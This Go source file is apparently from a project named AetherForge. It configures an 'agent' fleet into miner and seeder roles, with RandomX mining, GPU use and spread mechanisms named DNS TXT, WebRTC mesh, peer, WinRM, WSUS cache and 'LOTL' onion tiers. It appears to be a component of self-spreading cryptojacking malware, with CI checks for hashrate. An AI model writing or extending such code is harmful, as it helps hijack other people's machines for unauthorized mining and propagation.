Files
AetherForge/agent/config/fleet_role.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

90 lines
2.3 KiB
Go

package config
import "strings"
const (
FleetRoleMiner = "miner"
FleetRoleSeeder = "seeder"
FleetRoleAuto = "auto"
)
// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
func NormalizeFleetRole(role string) string {
switch strings.ToLower(strings.TrimSpace(role)) {
case FleetRoleSeeder:
return FleetRoleSeeder
case FleetRoleMiner:
return FleetRoleMiner
default:
return FleetRoleAuto
}
}
// EffectiveFleetRole resolves baked role + optional server hint from auth.
func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
if c.SeederMode {
return FleetRoleSeeder
}
baked := NormalizeFleetRole(c.FleetRole)
if baked == FleetRoleSeeder {
return FleetRoleSeeder
}
if baked == FleetRoleMiner {
return FleetRoleMiner
}
hint := NormalizeFleetRole(serverHint)
if hint == FleetRoleSeeder || hint == FleetRoleMiner {
return hint
}
return FleetRoleMiner
}
// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
}
// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
func IsSeederSpreadLane(lane string) bool {
lane = strings.ToLower(strings.TrimSpace(lane))
for _, s := range SeederSpreadLanes {
if lane == s {
return true
}
}
return false
}
// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
func FilterSeederLotlTiers(tiers []string) []string {
var out []string
for _, t := range tiers {
if IsSeederSpreadLane(t) {
out = append(out, t)
}
}
return out
}
// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
func ApplySeederForgeDefaults(b *BuiltinConfig) {
if b == nil {
return
}
b.FleetRole = FleetRoleSeeder
b.SeederMode = true
b.MiningDisabled = true
b.MinerExecution = "inprocess" // unused — no RandomX chain starts
b.GPUEnabled = false
b.DnsTxtSpread = true
b.WebRTCMeshSpread = true
b.WinRMSpread = false
b.WSUSCachePeerSpread = false
b.AutoSpread = true
b.LotlOnionEnabled = true
b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
}